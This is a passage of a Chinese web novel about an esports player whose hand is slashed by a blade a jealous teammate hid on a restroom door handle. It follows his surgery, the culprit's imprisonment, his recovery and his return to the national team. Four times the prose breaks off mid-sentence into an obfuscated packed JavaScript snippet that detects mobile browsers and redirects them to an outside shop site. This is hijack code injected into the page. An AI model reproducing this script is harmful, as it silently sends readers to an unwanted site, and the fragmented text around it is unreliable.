选手们和所有教练组的成员都聚集在训练室里，等着最后的确认。 徐泽早就准备好了国际服的账号，正准备登录在电脑上。 穆哲言扫视了一圈，选手们大都露出了跃跃欲试的神色，一脸期待地望向他。 “马上就到约定的时间了，BO1上场的人准备好了吗？” 鹿溪午跟其他四位队员乖乖地举起了手：“随时可以上场。” “很好，开始吧。” 齐光茂暗暗收回自己注视鹿溪午的目光：这次的训练赛是BO3的形式，鹿溪午只会上BO1，也就是说他只用打一场比赛。 经过他最近的观察，齐光茂发现鹿溪午有打完比赛去洗手间的习惯，若是要动手，这就是最好的时机。 没有人知道齐光茂的阴谋。 他的手指轻轻敲打着衣袖，每一次敲击都似乎在计算着什么，训练室里紧张的氛围丝毫没有影响齐光茂。 他的内心，此刻正被一种复杂的情绪所占据。即将到来的计划一旦实施，他必然无法安然脱身，但若是计划成功，小奚就能高枕无忧，再也不用活在恐惧之中。 所有人的注意力此时都放在了比赛上，带着耳机的选手眼神锐利地盯着屏幕，手指在键盘和鼠标上快速舞动，每一个动作都显得熟练而精准。 鹿溪午几人的配合娴熟，加之对面的选手默契不足，在配合上有许多漏洞。 三十分钟后，训练室响起了巨大的欢呼声，BO1结束了，鹿溪午他们赢了！ 齐光茂眼见着鹿溪午笑意盈盈地走出训练室，心跳顿时不受控制地快了起来。 手机在比赛前就上交给了教练组。此时鹿溪午手里没有任何可以用来照明的东西！ . 哗啦啦—— 水龙头里流出清澈冰凉的液体，鹿溪午揉搓着双手，却只听滋啦一声电流闪过的声音，厕所里的灯倏地灭了。 密闭的房间里，黑暗笼罩着四周，听觉此时被无限放大，水龙头向下一滴滴淌着水，通风扇的嗡嗡声此时清晰可闻。 鹿溪午苦笑：“怎么这么倒霉啊……外面有人吗？嘿——” 不出意外的毫无回应。 鹿溪午能感受到此时自己放大的呼吸声和心跳声，在黑暗里尤为喧闹，淡淡的不安充斥着他的内心。 “算了，自己出去。” 鹿溪午小心翼翼地伸出双手，通过触摸墙面、水池，来摸索前进的方向，一步步走到门边。 沿着门框向下，鹿溪午很快摸到了冰凉的门把手，金属的触感自指尖传来，莫名寒凉。 鹿溪午松了口气，握住门把用力一按，尖锐的疼痛自手掌悚然而上，像一道闪电般劈进大脑。温热的液体一股一股地顺着掌心的纹路向外流淌，滴落在地板上。 是血。 鹿溪午瞬间意识到。 徐泽察觉不对出来找人，迎面撞上鹿溪午捂着手掌的样子，血液顺着指尖滴落，身后流淌了一路的血迹，好似一枝开在雪地里的红梅。 “怎么弄成这样了？！” 徐泽又急又忧，顾不上许多，拉过鹿溪午的手掌检查。 一条刺眼的伤口横亘右手手掌上，皮肉翻卷，伤口四周的皮肤痉挛着皱缩起来，血珠大颗大颗地往外聚集滴落。 徐泽眼皮猛的跳动起来，他只觉得全身血液上涌—— 这可是国家队电竞选手的手！ “我带你去医院。” 徐泽边拉着鹿溪午往外走，边打电话：“保存好基地所有的监控，等会儿有人来查……老穆，deer的手受伤了，我送他去医院，这件事不像意外，我觉得要准备报案……风回，你现在马上去监控室，把今天下午到现在的监控，保存好看一遍，尤其是厕所门口……” 说不慌是假的。 在被门把手割伤的那一刻，鹿溪午的脑子里瞬间闪过无数想法，但最后只剩下了一个问题——他还能参加比赛吗？ 徐泽风风火火地开着车，鹿溪午在后排始终一言不发，盯着伤口看不出在想什么。 徐泽着急不已但又怕给他太大压力，只能用自己都忍不住的哆嗦语言来安慰：“不要担心，这伤口没伤到要害，等去医院养好了，一样能参加比赛。” 红灯亮了。 徐泽猛的踩了一脚刹车，焦急地看了眼时间，低声咒骂了一句什么。 鹿溪午捂着伤口手帕一言不发，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115170|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽地想起了从前的一些事情—— 想起了从前孤儿院外的那条小路，每到夜晚他就只能摸索前进；想起了第一次在网吧直播，打了三天的游戏结果连一个人也没有，想起了鹿奶奶的病，林沂天的电话，还有无数个漆黑孤独的夜晚…… 他似乎仍然还是那个独自在活动室搭积木的小孩子，门外是护工们小声的议论，怜悯的眼神穿过门缝落到脊背，手上一个不小心，搭好的积木轰然倒塌…… 过去和现在，似乎没有什么不同。 徐泽拉着他急急钻进医院急诊：“大夫，您快给看看这手。” “哟？这伤口，小伙子怎么弄的啊？”医生戴起了眼镜，神情严肃起来，“看起来有点深……” “被厕所门把手划的。” 医生摇摇头，用镊子轻轻拨了拨伤口：“看起来不像，伤口挺整齐，倒像是刀伤。” 徐泽站在一边眼中含忧：“大夫，您给看看严重么，我们这可是电竞选手，手可重要了。” “我看看。小伙子动动手指来——” 鹿溪午想要动动自己的手指，屈伸尚能勉强，但抓握动作却无法控制。 “不太理想啊，伤到肌腱或者神经了。”医生严肃了起来，咔咔在键盘上敲击着开单子。 鹿溪午握着右手手腕，垂下眼眸，他本来可以比医生的手速还要快的。 “家属去一楼缴费，患者跟我来，准备手术吧。” 医院急诊手术室外的走廊吵吵嚷嚷。 紧张和焦虑混合着医院消毒水的味道。人们或坐或立，他们的脸上都写满了焦急与不安。孩子们的哭声偶尔穿透这片嘈杂，声音高亢而刺耳，让整个空间更加显得紧张。医护人员忙碌的身影在走廊中来回穿梭，走路带风。 徐泽攥着手术单子焦急地等待着，时不时张望一下手术室的门口，本想拿出烟抽两根，看到走廊上的禁烟标志后又颓唐地坐了回去。 “溪午呢？” 贺存匆匆赶来，还喘着粗气。一身昂贵的大衣凌乱地敞着衣襟，擦得锃光瓦亮的高定皮鞋上溅了几个泥点，看起来很不和谐。 “手术室里，大夫说有可能伤到肌腱和神经了。” 徐泽没想到第一次见贺存是在这种情况下，鹿溪午在训练时出了事，他甚至都不敢看贺存的眼睛： “至于术后能不能恢复手的功能，还要看恢复的情况。” 贺存捏紧了拳头，咬着后槽牙：“到底是怎么回事？” “基地那边在厕所门把手上发现了刀片，被绑在把手的后边，还有莫名其妙的停电，这就是一个针对溪午的局，我们已经报.警了。” 徐泽坐在长椅上，烦躁地抓了抓头发：“我现在都想不到，谁这么恨溪午，非要毁了他的职业生涯才算完。” ……职业生涯？ 贺存忽地想到什么：“你们队里是不是有个叫齐光茂的队员？” “是。你是说他……？” “他跟林奚长年保持联系，是青梅竹马的关系。” 贺存来回踱步：“我想不到除了他，谁还会有动机——齐光茂，他是重大嫌疑人！” 58.养伤 等待总是漫长的。 等太阳落下山，最后一缕霞光消失后，鹿溪午终于出了手术室。 “鉴于患者的创口较大，建议住院观察两天，以防感染。家属去办理住院手续吧。” 看着鹿溪午被包裹得严严实实的手，贺存几乎心疼得快要呼吸不过来：“疼坏了吧？” “麻药没过，还没有感觉。” 鹿溪午举着跟哆啦A梦一样的圆手，安慰道：“没事，医生说万幸没有伤到神经，肌腱也还能修复，只要好好做复健，还是可以康复的。” “万幸万幸，老天保佑。” 徐泽办完手续回来，听见这个诊断结果后松了口气，一叠住院的资料塞给贺存：“你先带他去病房，我去买点住院要用的东西。” “好。”贺存接过单子看了看，“走吧，先去病房休息。” 鹿溪午乖乖被牵着走：“学长什么时候来的？我记得你好像说过今天有一个很重要的会……” “没有你重要。”贺存斩钉截铁，侧身挡住来往的行人，防止鹿溪午的右手受到碰撞。 “还记得今天是怎么受伤的吗？” “嗯，我还记得。” “那就好。等会儿警.察会来问你一些问题，是关于受伤的事情。” 鹿溪午沉默了，左手勾住贺存的大衣衣带：“是人为吗？” “目前的证据倾向来看，是这样的。”贺存如实回答，伸手摸了摸鹿溪午低落的发旋，“觉得难过了？” “我不知道我哪里做错了，值得这样处心积虑的对待。”鹿溪午抿了抿嘴，拉着贺存的衣服带子没动。 “这跟你没关系，溪午。”贺存手指蹭了蹭鹿溪午的鼻尖，“我们之前说好的，不要拿别人的错误惩罚自己，都忘了？” “我只是……”鹿溪午茫然地睁着眼睛，眼神虚虚地落到远方，“想不明白为什么……” 鹿溪午的话音渐渐低了下去，他试图理解这突如其来的伤害，但心中却是一片茫然。 贺存感受到他情绪的波动，更加紧了握住鹿溪午的手，那份温暖仿佛能穿透冰冷的医院走廊，直达鹿溪午的心房。 “溪午，”贺存的声音温柔而坚定，“有些事情的发生，并不是因为你做错了什么。这个世界，有时候就是充满了无常和不可预知。但请记住，无论发生什么，你都不是孤单一人。有我在，我们会一起面对，一起解决。” 他们来到了病房，鹿溪午安静地坐在床边，看着窗外渐渐沉寂的夜色。 贺存和徐泽忙碌着，为他准备着住院所需的一切。在这一刻，鹿溪午感到前所未有的安心，他知道，无论前路多么艰难，只要有这些人在身边，他就有了面对一切的勇气。 夜深了，病房中只剩下微弱的灯光。贺存坐在鹿溪午的床边，轻声说道：“睡吧，溪午。一切都会好起来的。明天，太阳还会照常升起，而我们，也会继续前进。” . 不出意外，齐光茂很快便被带走了。 他在做这些事情的时候完全没有隐藏过自己，只是在被问到动机时，齐光茂却垂下头三缄其口。 但贺存是知道为什么的。 本来准备等鹿溪午比赛结束再彻底解决这些事情，但现在看来，有些事情还是尽快解决的好。 林奚造谣的物证确实很难达到起诉的条件，可是证据也不只有一种——谁说人证不行呢？ 张青婉面色苍白地坐在贺存对面的座位上，手边的咖啡还冒着热气，但她此时无心品尝。 “贺总您说什么？我怎么听不明白呢……” 贺存最近的耐心不多，尤其还是面对林奚的人：“我知道造谣溪午的事是林奚干的，也清楚在其中你也肯定出了力。两个选择，第一，你当证人，带着你的证据揭发林奚；第二，我找别人做这件事，然后林家把你当替罪羊送进去。选一个吧。” “贺总…您这…我……” 张青婉还是第一次遇见这么单刀直入的威胁，她努力稳住声线，“我要是这么做了，就是坏了行规，我可就混不下去了。” 贺存耐心告罄，整理了衣襟站起身：“能够做人证的肯定不只你一个，找你也仅仅只是因为你的身份更好说话而已。你也看到林奚的现状了，说不定那就是下一个你。” 张青婉倏地攥紧了杯子，眼见贺存欲走，顿时急急地叫起来：“……我来！” 贺存终是深深地看了一眼她，嘴角勾起了一丝嘲讽的笑意：“跟律师谈吧。” 一旁装立牌的律师顿时提起公文包坐在张青婉身前，拿出早就准备好的资料：“张女士，我们来谈谈当时的情况……” 走出咖啡厅，贺存在街边的花店挑了一个小盆栽提着回了公寓。 鹿溪午出院后在他的公寓里养伤，医生说手掌功能的恢复情况很大程度上取决于这段时间，贺存便天天陪着他。 为了能使伤口愈合得更好，贺存还请了营养师为鹿溪午一日三餐制定了食谱，保证蛋白质和其他营养元素的摄入。 而右手不能动，鹿溪午在生活上受了极大的限制，洗澡，吃饭，睡觉甚至上厕所都不方便。每天做得最多的娱乐活动就是看电视。 买个盆栽回去，好歹能让鹿溪午打发一下时间，哪怕浇浇水呢？ 鹿溪午养伤，国家队的训练自然也进行不下去了。 遭受打击的除了鹿溪午之外还有国家队，一下子失去了两个中单主力，近乎大半的训练方案都作废了。 尤其是在鹿溪午不确定未来的恢复情况下，究竟该不该重选队员变成了难题。 穆哲言急得上火，嘴上撩了几个大泡，却没法闲下来。 后来还是徐泽拟了一个中单选手的名单，千挑万选又选了国内顶级战队SKT的现役中单来代替齐光茂的位置。 至于鹿溪午，能代替他出战的选手实在是找不出来。 于是每日问候鹿溪午的恢复情况变成了徐泽的必修课。 拆线前，医生没法估计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128643|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未来的恢复情况，但根据伤口肌腱的损伤情况来看，应当不至于太过糟糕。 半个月后。 右手的伤口拆线完成，医生看着一脸紧张的鹿溪午安慰道：“恢复得不错，再等等就能进行复健了，顺利的话，原本功能恢复七成不成问题。” “谢谢医生。” 鹿溪午的眼眸迸发出惊喜的光芒，看来自己还有站上赛场的机会！ 从换药室里出来，贺存正坐在长椅上张望，看见鹿溪午的那一刻，便急急迎上来，抖开手上的外套给他披上。 “小心着凉。” “医生说我恢复得不错，说不定我还能回去比赛呢！”鹿溪午兴奋地跟贺存分享这个消息，漂亮的浅咖色眼眸漾出盈盈水光。 贺存含笑摸了摸鹿溪午的头：“我从来没怀疑过这点——等会儿我让司机送你回家，我还有一点事情要去办。” “好呀，学长最近辛苦了，注意身体。”鹿溪午不疑有他，只以为是公司的事情。 贺存把开心不已的鹿溪午送进车里，目送他远去后才往另外一个方向走去。 齐光茂的故意伤害罪已经判下来了，本来因为他的国籍问题还要扯上一阵子，但贺存不想再等了，所以用了一点小小的手段。 今天是他从看守所转到监狱里的日子。 贺存深知对于这种人坐.牢并不算惩罚，只有让他见到弄巧成拙，反而害了林奚才算痛苦。 齐光茂是第一次见到贺存，隔着玻璃，他懒怠地掀开眼皮：“你是谁？” “我是谁并不重要。”贺存的视线落在面前这个狼狈的年轻人身上，眸光冰冷，面沉如水，“你为了林奚把自己弄成这样一副模样，林奚知道么？” “跟林奚有什么关系？”齐光茂脊背僵直，勉强扯出一个微笑，“是我嫉妒鹿溪午，才做的这些事情，与别人无关。” 贺存并不拆穿他的伪装，招招手，一旁的助理便把资料递了过来。 他耐心地一页一页展示给齐光茂看：“张青婉提供的一些证据，还有林奚工作室其他人的证词，造谣诽谤，不正当竞争等等一系列的事情。” 随着证据的展现，齐光茂的脸色越来越难看，紧紧盯着贺存手里的证据，后槽牙紧紧咬着：“你到底是谁？想做什么？” 贺存却答非所问，轻飘飘地抛下一句：“你说，我要是把他曝光了会怎样？” “你敢？！”齐光茂扑到玻璃上，顿时发出哐当一声的巨大声响，“你想做什么？？不要伤害小奚——” 贺存站起身，居高临下地看向齐光茂：“放心，既然你这么喜欢他，我一定尽快送他来见你。” “你有什么冲我来！你，站住——”齐光茂目眦欲裂，双眸快要滴出血来。 贺存好整以暇地勾起一丝嘲讽的笑意，转身出门时留下来最后一句话：“当初割鹿溪午手掌的时候，你就没想过，有一天林奚也会遭到比这还狠的对待吗？” “你回来，不要，不要——” 59.公开 复健是一个痛苦而机械的事情。每天用右手重复地做那么几个动作，异常枯燥。 好在鹿溪午是早就习惯了枯燥的人，当初在俱乐部训练的时候，也没比这些日子好多少。 只是国家队换人的消息终究还是走漏了风声，尤其是齐光茂还进了监狱，鹿溪午缺席训练的情况下。 网络上的舆论闹得沸沸扬扬，各种猜测甚嚣尘上。 【究竟是怎么回事啊？官博别装死。】 【Abelard做什么了？他比赛打得挺不错啊？】 【所以D神这些天原来是真的不在训练基地，那是不是……】 【那是不是……】 【楼上买什么关子？咋了咋了】 【之前不是有人爆料在海滨第六人民医院看见D神了吗？】 【细思极恐，难道真是那个什么a的把D神害进医院了吧！】 【不要啊，官方呢？出来回应啊——】 但涉及到鹿溪午的去留问题，教练组没有明确的结论，宣传组也不敢贸然回应，只能模糊说辞简单对齐光茂的事情做一个交代。 [致关心国家队的全体网友： 前国家队选手Abelard（齐光茂）因个人情绪原因，与队内成员发生冲突，违反了相关法律法规。按国家队队员选拔标准，齐光茂选手已不符合要求，因此对其进行开除处理，特此声明。] 【什么冲突？和谁有冲突？】 【想不到他居然是这种人……】 【避重就轻啊，究竟是不是把D神伤了啊？】 【不是很明显了吗，就是D神受伤了啊！】 【不是为什么啊？总要有原因吧？】 【难道是嫉妒？】 【不会吧，感觉说不通】 …… 然而很快又一则新闻的出现迅速占领了头条。 #惊！张青婉爆料# #林奚造谣deer为哪般？# #林氏集团声明# 张青婉个人的社交账号上清晰地罗列出了各种证据，包括聊天记录，水军公司的转账记录等等。 业内包括林奚林修等人都没有料到张青婉突然地背刺，等他们反应回来时，热度早已压不住了。 【人面兽心啊家人们】 【deer究竟怎么林奚了值得他花这么大的代价？】 【脱粉了林奚，拜拜】 【我就觉得林奚跟deer之间哪里不对……】 【有猫饼吧林奚，报.警必须报.警】 【心疼我D神】 林修急得团团转，不停地给人打电话想要压下这波热度。而林沂天却是波澜不惊，让公关部把早就准备好的声明发了出去。 “爸！您这样做是在把小奚往死里推啊！”林修一把摁了内线电话，“这么多年，您对小奚难道就没有一丝一毫的感情吗？” “这已经不是感情的事了。闹得这么沸沸扬扬，万一波及到元嘉，影响到林氏怎么办？我们才上市不久，你就打算让林氏背这么大一个黑料？” 林沂天心冷如铁，面对林修的怒气也只是冷笑质问，“还有我们新的开发项目正需要的就是像星河那样的好名声，而不是一个污点！” “污点……小奚，对您来说就只是一个污点吗？”林修咬着牙，从牙缝里挤出这句话。 “你看看林奚做的那些事！做便做了，居然还能让人暴露出来，还传得沸沸扬扬，这叫我能怎么办？啊？” 林沂天气得眼前发黑，“让开，不能再耽搁了，公关部要立刻作出反应！” 接下来的事情，林修无力阻止，只得眼睁睁看着林沂天迅速将林奚与集团切割，像是割下一块带血的腐肉。 看到林氏集团的声明时，林奚毫不意外，甚至有种悬着的剑终于刺进他头顶的轻快感。 终究还是鹿溪午赢了。不是他的，果然怎么努力也抓不住啊…… . 知道这一切真相时，鹿溪午正在阳台上浇花，是前几天贺存买的一盆绿萝，茎蔓柔软而坚韧，蜿蜒曲折，郁郁葱葱。 “意料之外情理之中吧……” 鹿溪午放下水壶，右手的绷带已经取下来了，一道狰狞起伏的疤痕横亘如玉般的掌心，破坏了原本漂亮的手掌。 这几天高强度的复健运动，让右手掌心肌肉总是微微地痉挛，贺存看着担心，让鹿溪午先在家休息两天再去医院。 正好让鹿溪午趁这个时间把学校落下的功课补上了。 养伤期间，贺存可谓是寸步不离，恨不得把人拴在裤腰带上时时看着。但是这两天的星河TV事情也多，贺存不得不把事情搬到家里书房，恨不得把自己劈成两半。 “林奚的事，打算怎么办？” 贺存摘下眼镜，捏捏鼻梁，眼下的青黑诉说着他的疲惫。 鹿溪午有些心疼，挨在他身边坐下：“该怎么办就怎么办，让律师去处理吧，你该好好休息一下了。” 贺存却是拉了鹿溪午的手，眼神细细描摹着那道本不应该出现的伤口。鹿溪午看不见贺存的表情，只能听见他幽冷的声音：“只要你一句话，溪午。只要你说……” “我应该怪他们，我知道。但我不想因为这个原因，让你多一些负担。” 鹿溪午琥珀一样的眼睛里含着清浅的笑意：“我更关心的是，你什么时候才能睡一个好觉。” 贺存轻轻叹了口气，还是被发现了…… “我没事，等忙过这一阵就好了。” “别以为我不知道，你等我睡觉以后又偷偷起来工作。”鹿溪午不满地啧了一声，抬起右手示意，“你看，其实我的伤口已经好了，只剩复健的事情了而已。” “复健也很重要。”贺存担忧地盯着鹿溪午摇晃的手，生怕他又碰到什么锋利的物体。 “重要，但也不用天天在家陪我吧？” “溪午……”贺存明显不赞成。 “你说的，只要我一句话。你听不听？”鹿溪午站起来，居高临下地看向贺存，一脸执拗。 贺存默默抬头凝视他半晌，最终无奈地点头妥协，把鹿溪午拉跌到自己身上：“我能怎么办呢？我能不听吗？” 咔哒—— 客厅的大门被人打开，助理抱着一大摞堆得颤颤巍巍的文件进屋：“贺总……？！” 两人的身形正交叠在一起，贺存的还搂在鹿溪午纤长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137128|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后腰上，脸对脸鼻对鼻，气息相交，发丝勾缠。 鹿溪午蹭一下从贺存身上站起，谁也看不清他的表情，飞快地逃到卧室。 砰—— 关门的声音在助理耳中仿佛是一声正对着他头的枪响。 助理：好的，我的职业生涯到头了，再见吧老板，今晚我要去远航…… “贺贺贺总，这这这是您要的文文文件……” 贺存闭眼深呼吸两口，强作镇定地推了推自己的眼镜，咬牙切齿：“为什么不敲门？” 助理欲哭无泪：“您叫我直接来，不用敲门的。” “……下次记得敲。” “好好好的！” . 由于网上的事情闹得太过轰轰烈烈，鹿溪午这个时候再不出面就实在是太说不过去了。 恰好这次复查也传来了好消息，医生说右手的功能恢复得很好，已经可以一边复健，一边参与国家队的训练了，只是要注意时间和强度上的合理安排。 鹿溪午在跟国家队商量之后，首次开了直播。 【D神还好吗？】 【摸摸D神，我们都在】 【我好像看见D神手上的疤了，是我的错觉吗？】 【我也看见了……】 【泪目，那两个杀千刀的QAQ】 “感谢大家的关心。”鹿溪午朝镜头挥了挥手，毫无顾忌地把右手的伤口展示出来。 “这次直播就是想把事情跟大家说清楚。如各位所见，我的手确实受伤了，看起来有点吓人是不是？但不要担心，医生说我恢复得不错。” 【这可是要拿冠军的手啊……】 【齐光茂怎么敢！可恶！】 【D神的训练怎么办？我是不是不能在奥运赛场上看见D神了？】 “没有大家想的那么严重了，当时没有伤到神经，经过这些天的复健后，医生也说可以参与国家队训练的。” “至于会不会上赛场这个问题，要看后续的恢复和训练的情况，不会拿奥运会开玩笑的。” 【那林奚呢？】 【对，还有之前的那个造谣的人，至少不要放过他！】 【我倒是很好奇为什么啊？林奚跟D神好像没什么交集吧？】 【有些人就是天生的坏种呢？纯纯的坏。】 【纯坏和蠢吧，不然他能被林氏集团那么快地切割吗？】 看到弹幕上对林奚的讨伐，鹿溪午思绪万千，林奚为了让林氏不放弃他做了这么多努力，可结局似乎并没有朝他预想的样子发展。 “林奚……他的事情我已经全权委托了律师处理，至于他为什么针对我的原因，我也不想再去管，毕竟把自己的生活过好才是最重要的事情，你们觉得呢？” 【是的，看到D神没有被影响我就放心啦！】 【狗咬了你一口总不能咬回去吧，直接打死不就得了。】 【不过最近好像D神确实一直水逆，不如什么时候去庙里拜拜吧】 【是啊，最近听说滨海那边有座寺庙挺灵，D神也可以去拜拜去去晦气。】 鹿溪午摸着下巴想了想，确实自己最近一直走背运，要不真去拜拜也好？ 60.回归 鹿溪午回归国家队训练了。众人激动不已。 张风回感慨万千地拍拍鹿溪午的肩膀：“能回来就行。” “看来教练不用再担心战术体系不够的问题了。”周迩远轻轻拥抱了一下含笑的鹿溪午，“欢迎回来。” sad上下扫视了鹿溪午好久：“再不回来，训练赛都要打完了。” 鹿溪午一一回应了好友们的关心：“说好了一起拿冠军，不会食言的。” 回到训练室很容易，但再找回之前的训练状态却有些困难。 右手的伤令鹿溪午抓握鼠标的姿势不得不有所调整，训练里有些微小的走位细节，需要用新的姿势一遍遍地训练，直至形成新的肌肉记忆。 徐泽对这样的训练强度很是担忧：“你确定可以吗？过度练习的后果不需要医生再来说一遍吧？” “我有分寸的。” 要改变形成了将近三年的职业习惯绝对不是易事，鹿溪午很清楚自己的情况，“好歹复健了这么久，我知道什么程度是极限，别担心。” 上次训练赛漏补了两个兵，这是放在以前的鹿溪午身上绝对不会犯的错误。 徐泽一时有些沉默，鹿溪午憋着一口气呢。 本来马上就要站到奥林匹克这个最高赛场上去了，却没想到突遭飞来横祸，换作是谁，都不会善罢甘休的吧…… “你家那位可是天天发消息要我看着你呢，你自己也悠着点儿啊！” 电脑屏幕上恰好展现出“训练结束，成绩合格”的模样，鹿溪午抬头：“你不是应该站在我这一边的吗？” 徐泽摊摊手：“不好意思，人家现在是训练基地最大的赞助商，你理解一下。” “不是吧，你就这么屈服于金钱的威势下了？？”鹿溪午目露震惊，捂着心口，不可置信，“说好的不为五斗米折腰呢？骗我玩？” 徐泽沉痛地叹气，然后四十五度角仰望天空：“没办法，他给得太多了。” 而给得太多的贺存此时正在华曙总部的年度大会上。 今年是贺存第一次带着自己的项目出现在华曙的年度大会。 跟以往小打小闹的投资不同，贺存这一次带来的项目是真正决定了华曙互联网这一领域的未来走向。 “我想，在座的诸位应该没有异议了吧？” 哪怕贺存此时正坐在长桌的最末端，他身上的气势也足够强大而不可忽视，恍若一炳出窍的寒锋利刃。 尤其是被那双冷峭凌厉的黑沉眼珠扫过，宛如凛冽剑风，逼得人汗毛直竖，哪有在鹿溪午面前半点温和的模样。 哪怕在场的董事心里面再多不满，也被贺存背后的成绩噎得说不出话来。 直播带货，这个看似异想天开的提案，却在贺存手里玩出花来了，变现大主播的流量，提高平台的知名度与官方合作，还有良好的口碑背书…… 看来华曙的下一代，还是得姓贺！ 贺存无比满意地从其他董事那里拿来了更多资金来源，接下来他要做的是打造属于星河的一条完整的产业服务链。 贺晋城全程没有插一句话，可偏偏那嘴角就一直没有放下来过。 “老贺呀，虎父无犬子，我看你用不了几年恐怕就得退休了。” 散会后，相熟的董事来找贺晋城攀谈，言语间倒是不乏对贺晋城的羡慕与对贺存的欣赏。 “小孩子小打小闹，能走多久还得看他自己。”贺晋城不甚在意地摇头，又对贺存招招手，“小存过来，跟你刘叔叔打个招呼。” 贺存淡然地走去，眼眸微动，露出一个礼貌的微笑：“刘叔叔好。” 刘董事上下打量了贺存好几眼，面前的青年风姿俊秀，眉目冷冽，嘴角噙着一丝礼貌的弧度，镜片后的眼眸如潭水深邃。 倒是很像他父亲年轻的时候。 “小存在学校，恐怕很招女孩喜欢吧？这点倒是随你了老贺。” 刘董事调笑着，状似不经意地吐出一句：“叔叔家里有个侄女，也在C大读博士，小存有空帮叔叔多照应照应。” 贺晋城笑意更深了，默默看向自家儿子变换的神情，并不说话。 “刘叔叔说笑了，您的侄女想来也是非常优秀，我读书一向三天打鱼两天晒网，恐怕没这个能力。” 贺存瞥了一眼看戏的贺晋城，话锋一转，“不过最近我爸倒是有意想用华曙的名义跟C大联合培养一批商科人才，我倒觉得刘叔叔的侄女可以参加呢，您说呢，爸？” 刘懂事的眼睛却是瞬间亮起：“还有这事儿老贺？” 好小子，拉自家老子来当挡箭牌是吧？ 贺晋城磨了磨后槽牙，面上却一派春风和暖：“一个还不成熟的小想法罢了，届时要是贵侄女愿意赏光，我一定欢迎。” 得到了一句承诺，刘董事也算得到了自己想要的，便也不在纠缠，顺势告辞了。 “我见过人老刘那侄女，长得确实漂亮。” “您喜欢？”私下就剩父子二人时，贺存说话也不怎么掩饰，“悠着点吧，人姑娘跟我一样大。” 贺晋城深吸一口气，努力忍住自己想要揍人的冲动：“好歹也为你解了个围，连句谢谢都没有？” “……谢谢。” “不诚心，算了。”贺晋城摆摆手，“你那个小男朋友怎么样了？人没事吧？” “受了点伤，在恢复。我等会儿就回海滨，晚上的宴会我不去了啊。” 贺存看了一眼腕表，耽搁的时间有点久了，拿起外套往外疾步而走，“走了啊，我快赶不上飞机了。” 贺晋城无奈地叹口气，倒是很少看见贺存这般模样，他突然很想见见那个能被程寅雪夸上一句的好孩子是什么样的？ . 时光飞逝，一晃而过。 盛夏来临，窗外的蝉鸣聒噪，深绿的阴影挡不住刺眼的阳光，训练基地一片此起彼伏的热闹氛围。 即将征战奥林匹克的前夕，每个人都无比兴奋，就连收拾行李的时候，走廊上也是叽里呱啦的交谈声。 徐泽越过走廊上横七竖八的行李箱，不放心地再次强调：“带好自己的证件，尤其是护照身份证，到了法国，食宿一律统一管理。这两天给你放了个假，可以留下基地，也可以飞回家跟家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151034|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告个别。三天后早上八点在基地集合，听见没有啊？” “知道了，徐妈——” “徐妈太操心了，你看看穆爸，多淡定啊。” “记住了记住了。” 这几月来，众人对徐泽爱操心的脾气深有体会，大家一致给徐泽新取了个外号“徐妈”。就连穆哲言也时不时会调侃他一两句。 “好吧好吧，我不啰嗦了，你们自己折腾吧。” 徐泽气结，转身找到了优秀学生：“你的手医生说没问题吧？” 鹿溪午在床上叠着衣服，闻言，伸出手活动了一下给徐泽看：“早就没问题了。” 经过几个月的修养和训练，鹿溪午也渐渐适应了右手新的使用方式，跟国家队的队友配合得也越来越默契。 这次奥运赛场上的职业选手，无论是队友还是对手，几乎都是熟悉的ID，不知内情的人一看这个参赛名单，恐怕还以为是全球电竞圈的团建。 “看看这些老朋友的名字，真是令人熟悉又激动啊。欧洲的英国法国，北美的美国，还有老偷子韩国，好多都是咱们TD打过的啊。” “我说徐教练，你要是不收拾行李，也别跟这儿添乱行吗？”张风回正对着满屋子的狼藉发愁，“这衣服该咋带啊？” “带夏装，把你那个外套拿出来，这几天巴黎可热了，三十几度。” 徐泽又开始对着张风回的行李絮叨，“护照，先把最重要东西带着！” 